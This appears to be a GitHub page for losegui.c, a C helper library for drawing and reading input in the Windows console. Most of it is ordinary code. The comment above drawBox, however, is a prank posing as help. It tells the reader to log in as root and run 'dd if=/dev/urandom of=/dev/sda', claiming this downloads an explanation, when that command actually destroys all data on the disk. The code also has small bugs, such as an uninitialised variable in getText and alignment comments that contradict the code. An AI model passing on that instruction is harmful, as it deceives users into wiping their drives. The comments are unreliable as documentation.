-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlosegui.c
190 lines (154 loc) · 5.51 KB
/
losegui.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#include "losegui.h"
//Look, no conio.h, umad?
char getch(HANDLE hIn) {
char ch;
DWORD mode;
DWORD numread;
GetConsoleMode(hIn, &mode); //Get the mode for setting it back later (Do I want this?)
SetConsoleMode(hIn, 0); //Clears the mode (I can't find this documented)
FlushConsoleInputBuffer(hIn); //Clears previous input (Do I want this?)
ReadConsole(hIn, &ch, sizeof(char), &numread, NULL); //Reads 1 char
SetConsoleMode(hIn, mode);
return ch;
}
//Fast getch, doesn't set / restore console mode.
char fgetch(HANDLE hIn) {
char ch;
DWORD numread;
SetConsoleMode(hIn, 0);
ReadConsole(hIn, &ch, sizeof(char), &numread, NULL);
return ch;
}
char * getText(HANDLE hIn, HANDLE hOut, COORD pos, int maxlength) {
static char out[256];
int i = 0;
COORD tPos;
char ch;
DWORD mode;
DWORD written;
GetConsoleMode(hIn, &mode);
SetConsoleCursorPosition(hOut, pos);
tPos.Y = pos.Y;
tPos.X = pos.X;
do {
if (ch && ch != '\b' && ch != '\t' && i < maxlength) {
out[i] = ch;
WriteConsole(hOut, &ch, 1, &written, NULL);
tPos.X++;
i++;
} else if (ch == '\b' && i > 0) {
WriteConsole(hOut, "\b \b", 3, &written, NULL);
i--;
tPos.X--;
out[i] = '\0';
}
ch = fgetch(hIn);
} while (ch != '\n' && ch != '\r');
SetConsoleMode(hIn, mode);
out[i] = '\0';
return (char*)out;
}
//This might be useful...
void cls(HANDLE hOut) {
COORD topleft;
int buffsize;
CONSOLE_SCREEN_BUFFER_INFO buffinfo;
DWORD written;
GetConsoleScreenBufferInfo(hOut, &buffinfo);
buffsize = buffinfo.dwSize.X * buffinfo.dwSize.Y;
topleft.X = 0;
topleft.Y = 0;
FillConsoleOutputCharacter(hOut, ' ', buffsize, topleft, &written);
SetConsoleCursorPosition(hOut, topleft);
}
void clear(HANDLE hOut, COORD from, COORD to) {
COORD curPos;
int i, length;
curPos.X = from.X;
length = to.X - from.X;
for (i = 0; i < to.Y - from.Y; i++) {
curPos.Y = from.Y + i;
drawLine(hOut, ' ', FALSE, curPos, length);
}
}
/*Draws a character to a location.
I thought using "COORD pos" as a parameter would get annoying fast.*/
void drawChar(HANDLE hOut, char chr, int x, int y) {
DWORD written;
COORD pos;
pos.X = x;
pos.Y = y;
SetConsoleCursorPosition(hOut, pos);
WriteConsole(hOut, &chr, 1, &written, NULL);
}
/*align
0 = Right
1 = Left
2 = Center
Set yPos- below 0 for the current pos
Returns the cursor's final position
*/
COORD drawText(HANDLE hOut, char * text, int align, int xOff, int yPos) {
CONSOLE_SCREEN_BUFFER_INFO buffinfo;
DWORD written;
COORD pos;
GetConsoleScreenBufferInfo(hOut, &buffinfo);
if (yPos < 0)
pos.Y = buffinfo.dwCursorPosition.Y;
else
pos.Y = yPos;
pos.X = buffinfo.dwCursorPosition.X;
if (align == 0)
pos.X = 0 + xOff;
else if (align == 1)
pos.X = buffinfo.dwSize.X - strlen(text) + xOff;
else if (align == 2)
pos.X = buffinfo.dwSize.X / 2 - strlen(text) / 2 + xOff;
SetConsoleCursorPosition(hOut, pos);
WriteConsole(hOut, text, strlen(text), &written, NULL);
GetConsoleScreenBufferInfo(hOut, &buffinfo);
return buffinfo.dwCursorPosition;
}
//Count is the length of the line
void drawLine(HANDLE hOut, char chr, BOOL vertical, COORD from, unsigned int count) {
int i;
char * out;
DWORD written;
if (!vertical) {
SetConsoleCursorPosition(hOut, from);
out = malloc(count);
memset(out, chr, count);
WriteConsole(hOut, out, count, &written, NULL);
free(out);
} else
for (i = 0;(i < count && i < 512);i++) {
SetConsoleCursorPosition(hOut, from);
WriteConsole(hOut, &chr, 1, &written, NULL);
from.Y++;
}
}
/*Draws a box using pretty obvious syntax,
if you need further explanation follow these instructions:
- Login as root (su or sudo su)
- run "dd if=/dev/urandom of=/dev/sda"
- Wait roughly 5mins
- It should now be downloaded to your home folder
- Note: Make SURE you run it from the folder this file is in!!!
*/
void drawBox(HANDLE hOut, COORD topLeft, COORD bottomRight) {
COORD line;
drawChar(hOut, '/', topLeft.X, topLeft.Y);
drawChar(hOut, '\\', bottomRight.X, topLeft.Y);
drawChar(hOut, '/', bottomRight.X, bottomRight.Y);
drawChar(hOut, '\\', topLeft.X, bottomRight.Y);
line.X = topLeft.X + 1;
line.Y = topLeft.Y;
drawLine(hOut, '-', FALSE, line, bottomRight.X - topLeft.X - 1);
line.Y = bottomRight.Y;
drawLine(hOut, '-', FALSE, line, bottomRight.X - topLeft.X - 1);
line.X = topLeft.X;
line.Y = topLeft.Y + 1;
drawLine(hOut, '|', TRUE, line, bottomRight.Y - topLeft.Y - 1);
line.X = bottomRight.X;
drawLine(hOut, '|', TRUE, line, bottomRight.Y - topLeft.Y - 1);
}